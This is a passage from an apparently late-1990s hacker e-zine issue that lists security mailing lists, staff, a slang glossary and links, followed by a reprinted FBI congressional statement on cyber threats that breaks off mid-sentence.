BUGTRAQ@SECURITYFOCUS.COM
Security Focus also be providing a free searchable vulnerability
database.
BUGTRAQ es muy bueno
--------------------
It has also become apparent that there is a need for forums
in the spirit of BUGTRAQ where non-English speaking people
or people that don't feel comfortable speaking English can
exchange information.
As such I've decided to give BUGTRAQ in other languages a try.
BUGTRAQ will continue to be the place to submit vulnerability
information, but if you feel more comfortable using some other
language you can give the other lists a try. All relevant information
from the other lists which have not already been covered here
will be translated and forwarded on by the list moderator.
In the next couple of weeks we will be introducing BUGTRAQ-JP
(Japanese) which will be moderated by Nobuo Miwa <n-miwa@lac.co.jp>
and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A.
from Argentina <http://www.core-sdi.com/> (the folks that brought you
Secure Syslog and the SSH insertion attack).
What is Security Focus?
-----------------------
Security Focus is an exercise in creating a community and a security
resource. We hope to be able to provide a medium where useful and
successful resources such as BUGTRAQ can occur, while at the same
time providing a comprehensive source of security information. Aside
from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl
herself!) have moved over to Security Focus to help us with building
this new community. The other staff at Security Focus are largely derived
from long time supporters of Bugtraq and the community in general. If
you are interested in viewing the staff pages, please see the 'About'
section on www.securityfocus.com.
On the community creating front you will find a set of forums
and mailing lists we hope you will find useful. A number of them
are not scheduled to start for several weeks but starting today
the following list is available:
* Incidents' Mailing List. BUGTRAQ has always been about the
discussion of new vulnerabilities. As such I normally don't approve
messages about break-ins, trojans, viruses, etc with the exception
of wide spread cases (Melissa, ADM worm, etc). The other choice
people are usually left with is email CERT but this fails to
communicate this important information to other that may be
potentially affected.
The Incidents mailing list is a lightly moderated mailing list to
facilitate the quick exchange of security incident information.
Topical items include such things as information about rootkits
new trojan horses and viruses, source of attacks and tell-tale
signs of intrusions.
To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body
of:
SUBS INCIDENTS FirstName, LastName
Shortly we'll also be introducing an Information Warfare forum along
with ten other forums over the next two months. These forums will be
built and moderated by people in the community as well as vendors who
are willing to take part in the community building process.
*Note to the vendors here* We have several security vendors who have
agreed to run forums where they can participate in the online communities.
If you would like to take part as well, mail Alfred Huger,
ahuger@securityfocus.com.
On the information resource front you find a large database of
the following:
* Vulnerabilities. We are making accessible a free vulnerability
database. You can search it by vendor, product and keyword. You
will find detailed information on the vulnerability and how to fix it,
as well are links to reference information such as email messages,
advisories and web pages. You can search by vendor, product and
keywords. The database itself is the result of culling through 5
years of BUGTRAQ plus countless other lists and news groups. It's
a shining example of how thorough full disclosure has made a significant
impact on the industry over the last half decade.
* Products. An incredible number of categorized security products
from over two hundred different vendors.
* Services. A large and focused directory of security services offered by
vendors.
* Books, Papers and Articles. A vast number of categorized security
related books, papers and articles. Available to download directly
for our servers when possible.
* Tools. A large array of free security tools. Categorized and
available for download.
* News: A vast number of security news articles going all the way
back to 1995.
* Security Resources: A directory to other security resources on
the net.
As well as many other things such as an event calendar.
For your convenience the home-page can be personalized to display
only information you may be interested in. You can filter by
categories, keywords and operating systems, as well as configure
how much data to display.
I'd like to thank the fine folks at NETSPACE for hosting the
site for as long as they have. Their services have been invaluable.
I hope you find these changes for the best and the new services
useful. I invite you to visit http://www.securityfocus.com/ and
check it out for yourself. If you have any comments or suggestions
please feel free to contact me at this address or at
aleph1@securityfocus.com.
Cheers.
--
Aleph One / aleph1@underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
Crypto-Gram
~~~~~~~~~~~
CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
insights, and commentaries on cryptography and computer security.
To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
blank message to crypto-gram-subscribe@chaparraltree.com. To unsubscribe,
visit http://www.counterpane.com/unsubform.html. Back issues are available
on http://www.counterpane.com.
CRYPTO-GRAM is written by Bruce Schneier. Schneier is president of
Counterpane Systems, the author of "Applied Cryptography," and an inventor
of the Blowfish, Twofish, and Yarrow algorithms. He served on the board of
the International Association for Cryptologic Research, EPIC, and VTW. He
is a frequent writer and lecturer on cryptography.
CUD Computer Underground Digest
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This info directly from their latest ish:
Computer underground Digest Sun 14 Feb, 1999 Volume 11 : Issue 09
ISSN 1004-042X
Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
Archivist: Brendan Kehoe
Poof Reader: Etaion Shrdlu, Jr.
Shadow-Archivists: Dan Carosone / Paul Southworth
Ralph Sims / Jyrki Kuoppala
Ian Dickinson
Cu Digest Homepage: http://www.soci.niu.edu/~cudigest
[ISN] Security list
~~~~~~~~~~~~~~~~~~~
This is a low volume list with lots of informative articles, if I had my
way i'd reproduce them ALL here, well almost all .... ;-) - Ed
UPDATED Sept/99 - Sent in by Androthi, tnx for the update
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--[ New ISN announcement (New!!)
Sender: ISN Mailing List <ISN@SECURITYFOCUS.COM>
From: mea culpa <jericho@DIMENSIONAL.COM>
Subject: Where has ISN been?
Comments: To: InfoSec News <isn@securityfocus.com>
To: ISN@SECURITYFOCUS.COM
It all starts long ago, on a network far away..
Not really. Several months ago the system that hosted the ISN mail list
was taken offline. Before that occured, I was not able to retrieve the
subscriber list. Because of that, the list has been down for a while. I
opted to wait to get the list back rather than attempt to make everyone
resubscribe.
As you can see from the headers, ISN is now generously being hosted by
Security Focus [www.securityfocus.com]. THey are providing the bandwidth,
machine, and listserv that runs the list now.
Hopefully, this message will find all ISN subscribers, help us weed out
dead addresses, and assure you the list is still here. If you have found
the list to be valuable in the past, please tell friends and associates
about the list. To subscribe, mail listserv@securityfocus.com with
"subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn".
As usual, comments and suggestions are welcome. I apologize for the down
time of the list. Hopefully it won't happen again. ;)
mea_culpa
www.attrition.org
--[ Old ISN welcome message
[Last updated on: Mon Nov 04 0:11:23 1998]
InfoSec News is a privately run, medium traffic list that caters
to distribution of information security news articles. These
articles will come from newspapers, magazines, online resources,
and more.
The subject line will always contain the title of the article, so that
you may quickly and effeciently filter past the articles of no interest.
This list will contain:
o Articles catering to security, hacking, firewalls, new security
encryption, products, public hacks, hoaxes, legislation affecting
these topics and more.
o Information on where to obtain articles in current magazines.
o Security Book reviews and information.
o Security conference/seminar information.
o New security product information.
o And anything else that comes to mind..
Feedback is encouraged. The list maintainers would like to hear what
you think of the list, what could use improving, and which parts
are "right on". Subscribers are also encouraged to submit articles
or URLs. If you submit an article, please send either the URL or
the article in ASCII text. Further, subscribers are encouraged to give
feedback on articles or stories, which may be posted to the list.
Please do NOT:
* subscribe vanity mail forwards to this list
* subscribe from 'free' mail addresses (ie: juno, hotmail)
* enable vacation messages while subscribed to mail lists
* subscribe from any account with a small quota
All of these generate messages to the list owner and make tracking
down dead accounts very difficult. I am currently receiving as many
as fifty returned mails a day. Any of the above are grounds for
being unsubscribed. You are welcome to resubscribe when you address
the issue(s).
Special thanks to the following for continued contribution:
William Knowles, Aleph One, Will Spencer, Jay Dyson,
Nicholas Brawn, Felix von Leitner, Phreak Moi and
other contributers.
ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn
ISN Archive: http://www.landfield.com/isn
ISN Archive: http://www.jammed.com/Lists/ISN/
ISN is Moderated by 'mea_culpa' <jericho@dimensional.com>. ISN is a
private list. Moderation of topics, member subscription, and
everything else about the list is solely at his discretion.
The ISN membership list is NOT available for sale or disclosure.
ISN is a non-profit list. Sponsors are only donating to cover bandwidth
and server costs.
@HWA
00.3 THIS IS WHO WE ARE
~~~~~~~~~~~~~~~~~~
__ ___ ___
\ \ / / |__ ___ __ _ _ __ _____ ____|__ \
\ \ /\ / /| '_ \ / _ \ / _` | '__/ _ \ \ /\ / / _ \/ /
\ V V / | | | | (_) | (_| | | | __/\ V V / __/_|
\_/\_/ |_| |_|\___/ \__,_|_| \___| \_/\_/ \___(_)
Some HWA members and Legacy staff
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cruciphux@dok.org.........: currently active/editorial
darkshadez@ThePentagon.com: currently active/man in black
fprophet@dok.org..........: currently active/programming/IRC+ man in black
sas2@usa.net .............. currently active/IRC+ distribution
vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
dicentra...(email withheld): IRC+ grrl in black
twisted-pair@home.com......: currently active/programming/IRC+
Foreign Correspondants/affiliate members
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Qubik ............................: United Kingdom
D----Y ...........................: USA/world media
HWA members ......................: World Media
Past Foreign Correspondants (currently inactive or presumed dead)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sla5h.............................: Croatia
N0Portz ..........................: Australia
system error .....................: Indonesia
Wile (wile coyote) ...............: Japan/the East
Ruffneck ........................: Netherlands/Holland
Wyze1.............................: South Africa
Pleas
e send in your sites for inclusion here if you haven't already
also if you want your emails listed send me a note ... - Ed
Spikeman's site is down as of this writing, if it comes back online it will be
posted here.
http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian)
Sla5h's email: smuddo@yahoo.com
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*******************************************************************
:-p
1. We do NOT work for the government in any shape or form.Unless you count paying
taxes ... in which case we work for the gov't in a BIG WAY. :-/
2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
events its a good idea to check out issue #1 at least and possibly also the
Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...
@HWA
00.4 Whats in a name? why HWA.hax0r.news??
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Well what does HWA stand for? never mind if you ever find out I may
have to get those hax0rs from 'Hackers' or the Pretorians after you.
In case you couldn't figure it out hax0r is "new skewl" and although
it is laughed at, shunned, or even pidgeon holed with those 'dumb
leet (l33t?) dewds' <see article in issue #4> this is the state
of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
up and comers, i'd highly recommend you get that book. Its almost
like buying a clue. Anyway..on with the show .. - Editorial staff
@HWA
00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ ___ ___ _____ _ ___
| | | \ \ / / \ | ___/ \ / _ \
| |_| |\ \ /\ / / _ \ | |_ / _ \| | | |
| _ | \ V V / ___ \ _| _/ ___ \ |_| |
|_| |_| \_/\_/_/ \_(_)_|/_/ \_\__\_\
Also released in issue #3. (revised) check that issue for the faq
it won't be reprinted unless changed in a big way with the exception
of the following excerpt from the FAQ, included to assist first time
readers:
Some of the stuff related to personal useage and use in this zine are
listed below: Some are very useful, others attempt to deny the any possible
attempts at eschewing obfuscation by obsucuring their actual definitions.
@HWA - see EoA ;-)
!= - Mathematical notation "is not equal to" or "does not equal"
ASC(247) "wavey equals" sign means "almost equal" to. If written
an =/= (equals sign with a slash thru it) also means !=, =< is Equal
to or less than and => is equal to or greater than (etc, this aint
fucking grade school, cripes, don't believe I just typed all that..)
AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)
AOL - A great deal of people that got ripped off for net access by a huge
clueless isp with sekurity that you can drive buses through, we're
not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
least they could try leasing one??
*CC - 1 - Credit Card (as in phraud)
2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's
CCC - Chaos Computer Club (Germany)
*CON - Conference, a place hackers crackers and hax0rs among others go to swap
ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
watch videos and seminars, get drunk, listen to speakers, and last but
not least, get drunk.
*CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
speak he's the guy that breaks into systems and is often (but by no
means always) a "script kiddie" see pheer
2 . An edible biscuit usually crappy tasting without a nice dip, I like
jalapeno pepper dip or chives sour cream and onion, yum - Ed
Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
ebonics, speaking in a dark tongue ... being ereet, see pheer
EoC - End of Commentary
EoA - End of Article or more commonly @HWA
EoF - End of file
EoD - End of diatribe (AOL'ers: look it up)
FUD - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
usually in general media articles not high brow articles such as ours or other
HNN affiliates ;)
du0d - a small furry animal that scurries over keyboards causing people to type
weird crap on irc, hence when someone says something stupid or off topic
'du0d wtf are you talkin about' may be used.
*HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R
*HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
define, I think it is best defined as pop culture's view on The Hacker ala
movies such as well erhm "Hackers" and The Net etc... usually used by "real"
hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
some coffee?' or can you hax0r some bread on the way to the table please?'
2 - A tool for cutting sheet metal.
HHN - Maybe a bit confusing with HNN but we did spring to life around the same
time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
noun means the hackernews site proper. k? k. ;&
HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html
J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d
MFI/MOI- Missing on/from IRC
NFC - Depends on context: No Further Comment or No Fucking Comment
NFR - Network Flight Recorder (Do a websearch) see 0wn3d
NFW - No fuckin'way
*0WN3D - You are cracked and owned by an elite entity see pheer
*OFCS - Oh for christ's sakes
PHACV - And variations of same <coff>
Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare
Alternates: H - hacking, hacktivist
C - Cracking <software>
C - Cracking <systems hacking>
V - Virus
W - Warfare <cyberwarfare usually as in Jihad>
A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
P - Phreaking, "telephone hacking" PHone fREAKs ...
CT - Cyber Terrorism
*PHEER - This is what you do when an ereet or elite person is in your presence
see 0wn3d
*RTFM - Read the fucking manual - not always applicable since some manuals are
pure shit but if the answer you seek is indeed in the manual then you
should have RTFM you dumb ass.
TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0
TBA - To Be Arranged/To Be Announced also 2ba
TFS - Tough fucking shit.
*w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
from the underground masses. also "w00ten" <sic>
2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)
*wtf - what the fuck, where the fuck, when the fuck etc ..
*ZEN - The state you reach when you *think* you know everything (but really don't)
usually shortly after reaching the ZEN like state something will break that
you just 'fixed' or tweaked.
@HWA
-=- :. .: -=-
01.0 Greets!?!?! yeah greets! w0w huh. - Ed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
____ _
/ ___|_ __ ___ ___| |_ ___
| | _| '__/ _ \/ _ \ __/ __|
| |_| | | | __/ __/ |_\__ \
\____|_| \___|\___|\__|___/
Thanks to all in the community for their support and interest but i'd
like to see more reader input, help me out here, whats good, what sucks
etc, not that I guarantee i'll take any notice mind you, but send in
your thoughts anyway.
* all the people who sent in cool emails and support
FProphet Pyra TwstdPair _NeM_
D----Y Dicentra vexxation sAs72
Spikeman p0lix Vortexia Wyze1
Pneuma Raven Zym0t1c duro
Repluzer astral BHZ ScrewUp
Qubik gov-boi _Jeezus_ Haze_
thedeuce ytcracker
Folks from #hwa.hax0r,news and #fawkerz, #ninjachat and #sesame
Ken Williams/tattooman ex-of PacketStorm,
& Kevin Mitnick
kewl sites:
+ http://www.hack.co.za NEW
+ http://blacksun.box.sk. NEW
+ http://packetstorm.securify.com/ NEW
+ http://www.securityportal.com/ NEW
+ http://www.securityfocus.com/ NEW
+ http://www.hackcanada.com/
+ http://www.l0pht.com/
+ http://www.2600.com/
+ http://www.freekevin.com/
+ http://www.genocide2600.com/
+ http://www.hackernews.com/ (Went online same time we started issue 1!)
+ http://www.net-security.org/
+ http://www.slashdot.org/
+ http://www.freshmeat.net/
+ http://www.403-security.org/
+ http://ech0.cjb.net/
@HWA
01.1 Last minute stuff, rumours and newsbytes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"What is popular isn't always right, and what is right isn't
always popular..."
- FProphet '99
+++ When was the last time you backed up your important data?
Thanks to myself for providing the info from my wired news feed and others from whatever
sources, also to Spikeman for sending in past entries.... - Ed
@HWA
01.2 MAILBAG - email and posts from the message board worthy of a read
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Yeah we have a message board, feel free to use it, remember there are no stupid questions...
well there are but if you ask something really dumb we'll just laugh at ya, lets give the
message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org
domain comes back online (soon) meanwhile the beseen board is still up...
==============================================================================
02.0 From the editor.
~~~~~~~~~~~~~~~~
#include <stdio.h>
#include <thoughts.h>
#include <backup.h>
main()
{
printf ("Read commented source!\n\n");
/*
*
*
*
*
*
*
*
*
*/
printf ("EoF.\n");
}
Congrats, thanks, articles, news submissions and kudos to us at the
main address: hwa@press.usmc.net complaints and all nastygrams and
mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to
127.0.0.1, private mail to cruciphux@dok.org
danke.
C*:.
-= start =--= start =--= start =--= start =--= start =--= start =--= start
____ _ _
/ ___|___ _ __ | |_ ___ _ __ | |_
| | / _ \| '_ \| __/ _ \ '_ \| __|
| |__| (_) | | | | || __/ | | | |_
\____\___/|_| |_|\__\___|_| |_|\__|
/ ___|| |_ __ _ _ __| |_
\___ \| __/ _` | '__| __|
___) | || (_| | | | |_
|____/ \__\__,_|_| \__|
-= start =--= start =--= start =--= start =--= start =--= start =--=
03.0 Solar Sunrise: The FBI operation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HNN reported that a new video was released by the FBI called "Solar
Sunrise: The dawn of a new threat" about hackers and their perceived
threat to commercial (and gov) systems. While I was searching the
FBI website for info on this I came up with a link to an operation
Solar Sunrise, where the FBI had been investigating the attacks and
break-ins of govt systems. Below is the full text of the report.
http://www.fbi.gov/pressrm/congress/nipc10-6.htm
Introduction
Mr. Chairman, Senator Feinstein, and Members of the Committee: Thank you
for inviting me here today to discuss critical infrastructure protection
issues. Mr. Chairman, you and this committee have been leaders in
recognizing the importance of these issues and the urgency of addressing
the new threats to our national security in the Information Age, and I
welcome this opportunity to share our perspectives with you today. As you
know, the Federal Government is developing its capabilities for dealing
with threats to our nation's infrastructures. Presidential Decision
Directive-63 set in motion an unprecedented effort to protect our
nation's critical infrastructures, which the PDD defined as "those
physical and cyber-based systems essential to the minimum operations of
the economy and government." Critical infrastructures include
telecommunications, energy, banking and finance, transportation, water
systems, and emergency services, both public and private. The PDD
formally designated the National Infrastructure Protection Center (NIPC)
to have a central operational role in the government's effort. The Center
works closely with the National Coordinator for Security, Infrastructure
Protection, and Counter-terrorism; the Department of Defense (DoD); the
U.S. Intelligence Community (USIC); other federal agencies; and the
private sector to protect our critical infrastructures. My statement will
cover the spectrum of threats we are facing and the status of the NIPC
and its activities.
Spectrum of Threats
The news media is filled with examples of intrusions into government and
private sector computer networks. Politically motivated hackers have been
attacking numerous U.S. Government websites, including the Senate's.
Deputy Secretary of Defense John
Hamre reported in February that DoD
is "detecting 80 to 100 [potential hacking] events daily." We have had
several damaging computer viruses this year, including the Melissa Macro
Virus, the Explore.Zip Worm, and the CIH (Chernobyl) Virus. Computer
Economics, Inc., a California firm, estimates that damage in the first
two quarters of 1999 from viruses has topped $7 billion. The FBI's case
load for computer hacking and network intrusion cases has doubled each of
the last two years. Currently we have over 800 pending investigations. In
its 1999 survey, the Computer Security Institute estimated the total
financial losses by the 163 businesses it surveyed from computer security
breaches at $123.7 million. This includes everything from theft of
proprietary data to denial of service on networks. E-commerce has become
so important that firms, including Sedgwick Group PLC (in cooperation
with IBM), Lloyds of London, and Network Risk Management Services, are
now offering "hacker insurance."
Sensitive Intrusions
In the past few years we have seen a series of intrusions into numerous
Department of Defense computer networks as well as networks of other
federal agencies, universities, and private sector entities. Intruders
have successfully accessed U.S. Government
networks and took large
amounts of unclassified but sensitive information. In investigating these
cases, the NIPC has been coordinating with FBI Field Offices, the
Department of Defense, and other government agencies, as circumstances
require. But it is important that the Congress and the American public
understand the very real threat that we are facing in the cyber realm,
not just in the future, but now.
Information Warfare
Perhaps the greatest potential threat to our national security is the
prospect of "information warfare" by foreign militaries against our
critical infrastructures. We know that several foreign nations are
already developing information warfare doctrine, programs, and
capabilities for use against each other and the United States or other
nations. Foreign nations are developing information warfare programs
because they see that they cannot defeat the United States in a
head-to-head military encounter and they believe that information
operations are a way to strike at what they perceive as America's
Achilles Heel -- our reliance on information technology to control
critical government and private sector systems. For example, two Chinese
military officers recently published a book that called for the use of
unconventional measures, including the propagation of computer viruses,
to counterbalance the military power of the United States. In addition,
during the recent conflict in Yugoslavia, hackers sympathetic to Serbia
electronically "ping" attacked NATO web servers. And Russian as well as
other individuals supporting the Serbs attacked websites in NATO
countries, including the United States, using virus-infected e-mail and
hacking attempts. Over 100 entities in the United States received these
e-mails. Several British organizations lost files and databases. These
attacks did not cause any disruption of the military effort, and the
attacked entities quickly recovered. But such attacks are portents of
much more serious attacks that we can expect foreign adversaries to
attempt in future conflicts.
Foreign intelligence services
Foreign intelligence services have adapted to using cyber tools as part
of their information gathering and espionage tradecraft. In a case dubbed
"the Cuckoo's Egg," between 1986 and 1989 a ring of West German hackers
penetrated numerous military,
scientific, and industry computers in
the United States, Western Europe, and Japan, stealing passwords,
programs, and other information which they sold to the Soviet KGB.
Significantly, this was over a decade ago -- ancient history in Internet
years. While I cannot go into specifics about the situation today in an
open hearing, it is clear that foreign intelligence services increasingly
view computer intrusions as a useful tool for acquiring sensitive U.S.
government and private sector information.
Terrorists
Terrorists are known to use information technology and the Internet to
formulate plans, raise funds, spread propaganda, and to communicate
securely. For example, convicted terrorist Ramzi Yousef, the mastermind
of the World Trade Center bombing, stored
detailed plans to destroy
United States airliners on encrypted files on his laptop computer.
Moreover, some groups have already used cyber attacks to inflict damage
on their enemies' information systems. For example, a group calling
itself the Internet Black Tigers conducted a successful "denial of
service" attack on servers of Sri Lankan government embassies. Italian
sympathizers of the Mexican Zapatista rebels attacked web pages of
Mexican financial institutions. And a Canadian government report
indicates that the Irish Republican Army has considered the use of
information operations against British interests. We are also concerned
that Aum Shinrikyo, which launched the deadly Sarin gas attack in the
Tokyo subway system, could use its growing expertise in computer
manufacturing and Internet technology to develop "cyber terrorism"
weapons for use against Japanese and U.S. interests. Thus while we have
yet to see a significant instance of "cyber terrorism" with widespread
disruption of critical infrastructures, all of these facts portend the use
of cyber attacks by terrorists to cause pain to targeted governments or
civilian populations by disrupting critical systems.
Criminal Groups
We are also beginning to see the increased use of cyber intrusions by
criminal groups who attack systems for purposes of monetary gain. For
example, in 1994 the U.S. Secret Service uncovered a $50 million phone
card scam that abused the accounts of
AT&T, MCI, and Sprint
customers. In addition, in 1994-95 an organized crime group headquartered
in St. Petersburg, Russia, transferred $10.4 million from Citibank into
accounts all over the world. After surveillance and investigation by the
FBI's New York field office, all but $400,000 of the funds were recovered.
In another case, Carlos Felipe Salgado, Jr. gained unauthorized access to
several Internet Service Providers in California and stole 100,000 credit
card numbers with a combined limit of over $1 billion. The FBI arrested
him in the San Francisco International Airport when he tried to sell the
credit card numbers to a cooperating witness for $260,000. With the
expansion of electronic commerce, we expect to see an increase in hacking
by organized crime as the new frontier for large-scale theft.
Just two weeks ago, two members of a group dubbed the "Phonemasters" were
sentenced after their conviction for theft and possession of unauthorized
access devices (18 USC §1029) and unauthorized access to a federal
interest computer (18 USC §1030).
The "Phonemasters" are an
international group of criminals who penetrated the computer systems of
MCI, Sprint, AT&T, Equifax, and even the FBI's National Crime Information
Center (NCIC). Under judicially approved electronic surveillance orders,
the FBI's Dallas Field Office made use of new data intercept technology to
monitor the calling activity and modem pulses of one of the suspects,
Calvin Cantrell. Mr. Cantrell downloaded thousands of Sprint calling card
numbers, which he sold to a Canadian individual, who passed them on to
someone in Ohio. These numbers made their way to an individual in
Switzerland and eventually ended up in the hands of organized crime
groups in Italy. Mr. Cantrell was sentenced to two years as a result of
his guilty plea, while one of his associates, Cory Lindsay, was sentenced
to 41 months.
The "Phonemasters" activities should serve as a wake up call for
corporate security. Their methods included "dumpster diving" to gather
old phone books and technical manuals for systems. They then used this
information to trick employees into giving up their
logon and
password information. The group then used this information to break into
victim systems. It is important to remember that often "cyber crimes" are
facilitated by old fashioned guile, such as calling employees and
tricking them into giving up passwords. Good "cyber security" practices
must therefore address personnel security and "social engineering" in
addition to instituting electronic security measures.
Virus Writers
Virus writers are posing an increasingly serious threat to networks and
systems worldwide. As noted above, we have had several damaging computer
viruses this year, including the Melissa Macro Virus, the Explore.Zip
worm, and the CIH (Chernobyl) Virus.
The NIPC frequently sends out
warnings regarding particularly dangerous viruses.
Earlier this year, we reacted quickly to the spread of the Melissa Macro
Virus. While there are dozens of viruses released every day, the speedy
propagation of Melissa and its effects on networks caused us great
concern. Within hours of learning about the virus
on Friday, March
26, 1999, we had coordinated with key cyber response components of DoD
and the Computer Emergency Response Team (CERT) at Carnegie-Mellon
University. Our Watch operation went into 24-hour posture and sent out
warning messages to federal agencies, state and local law enforcement, FBI
Field Offices, and the private sector. Because the virus affected systems
throughout the public, we also took the unusual step of issuing a public
warning through the FBI's Public Affairs Office and on our website. These
steps helped mitigate the damage by alerting computer users of the virus
and of protective steps they could take.
On the investigative side, the NIPC acted as a central point of contact
for the Field Offices who worked leads on the case. A tip received by the
New Jersey State Police from America Online, and their follow-up
investigation with the FBI's Newark Field
Office, led to the April
1, 1999 arrest of David L. Smith. Search warrants were executed in New
Jersey by the New Jersey State Police and FBI Special Agents from the
Newark Field Office.
Just in the last few weeks we have seen reports on the Suppl Word Macro
virus, the toadie.exe virus, and the W97M/Thurs.A (or Thursday) virus.
This last virus has already infected over 5,000 machines, according to
news reports, and deletes files on victim's
hard drives. The payload
of the virus is triggered on 12-13 and disables the macro virus
protection in Word 97. We are also concerned with the propagation of a
Trojan Horse called Back Orifice 2000, which allows malicious actors to
monitor or tamper with computers undetected by the users.
Virus writers are not often broken out as a threat category, and yet they
often do more damage to networks than hackers do. The prevalence of
computer viruses reminds us that we all have to be very careful about the
attachments we open and we all must be
sure to keep our anti-virus
software up-to-date.
Hactivism
Recently we have seen a rise in what has been dubbed "hacktivism"--
politically motivated attacks on publicly accessible web pages or e-mail
servers. These groups and individuals overload e-mail servers and hack
into web sites to send a political message.
While these attacks
generally have not altered operating systems or networks, they still
damage services and deny the public access to websites containing
valuable information and infringe on others' right to communicate. One
such group is called the "Electronic Disturbance Theater," which promotes
civil disobedience on-line in support of its political agenda regarding
the Zapatista movement in Mexico and other issues. This past spring they
called for worldwide electronic civil disobedience and have taken what
they term "protest actions" against White House and Department of Defense
servers. Supporters of Kevin Mitnick, recently convicted of numerous
computer security offenses, hacked into the Senate webpage and defaced it
in May and June of this past year. The Internet has enabled new forms of
political gathering and information sharing for those who want to advance
social causes; that is good for our democracy. But illegal activities
that disrupt e-mail servers, deface web-sites, and prevent the public
from accessing information on U.S. government and private sector web sites
should be regarded as criminal acts that deny others their First
Amendment rights to communicate rather than as an acceptable form of
protest.
"Recreational" Hackers
Virtually every day we see a report about "recreational hackers," or
"crackers," who crack into networks for the thrill of the challenge or
for bragging rights in the hacker community. While remote cracking once
required a fair amount of skill or computer
knowledge, the
recreational hacker can now download attack scripts and protocols from
the World Wide Web and launch them against victim sites. Thus while
attack tools have become more sophisticated, they have also become easier
to use.
These types of hacks are very numerous and may appear on their face to be
benign. But they can have serious consequences. A well-known example of
this involved a juvenile who hacked into the NYNEX (now Bell Atlantic)
telephone system that serviced the
Worcester, Massachusetts area
using his personal computer and modem. The hacker shut down telephone
service to 600 customers in the local community. The resulting disruption
affected all local police and fire 911 services as well as the ability of
incoming aircraft to activate the runway lights at the Worcester airport.
Telephone service was out at the airport tower for six hours. The U.S.
Secret Service investigation of this case also brought to light a
vulnerability in 22,000 telephone switches nationwide that could be taken
down with four keystrokes. Because he was a juvenile, however, the hacker
was sentenced to only two years probation and 250 hours of community
service, and was forced to forfeit the computer equipment used to hack
into the phone system and reimburse the phone company for $5,000. This
case demonstrated that an attack against our critical communications hubs
can have cascading effects on several infrastructures. In this case,
transportation, emergency services, and telecommunications were disrupted.
It also showed that widespread disruption could be caused by a single
person from his or her home computer.
Insider Threat
The disgruntled insider is a principal source of computer crimes.
Insiders do not need a great deal of knowledge about computer intrusions,
because their knowledge of victim systems often allows them to gain
unrestricted access to cause damage to the system
or to steal system
data. The 1999 Computer Security Institute/FBI report notes that 55% of
respondents reported malicious activity by insiders.
There are many cases in the public domain involving disgruntled insiders.
For example, Shakuntla Devi Singla used her insider knowledge and another
employee's password and logon identification to delete data from a U.S.
Coast Guard personnel database
system. It took 115 agency employees
over 1800 hours to recover and reenter the lost data. Ms. Singla was
convicted and sentenced to five months in prison, five months home
detention, and ordered to pay $35,000 in restitution.
In another case, a former Forbes employee named George Parente hacked got
into Forbes systems using another employee's password and login
identification and crashed over half of Forbes' computer network servers
and erased all of the data on each of the
crashed services. The data
could not be restored. The losses to Forbes were reportedly over
$100,000.
Identifying the Intruder
One major difficulty that distinguishes cyber threats from physical
threats is determining who is attacking your system, why, how, and from
where. This difficulty stems from the ease with which individuals can
hide or disguise their tracks by manipulating logs and
directing
their attacks through networks in many countries before hitting their
ultimate target. The now well know "Solar Sunrise" case illustrates this
point. Solar Sunrise was a multi-agency investigation (which occurred
while the NIPC was being established) of intrusions into more than 500
military, civilian government, and private sector computer systems in the
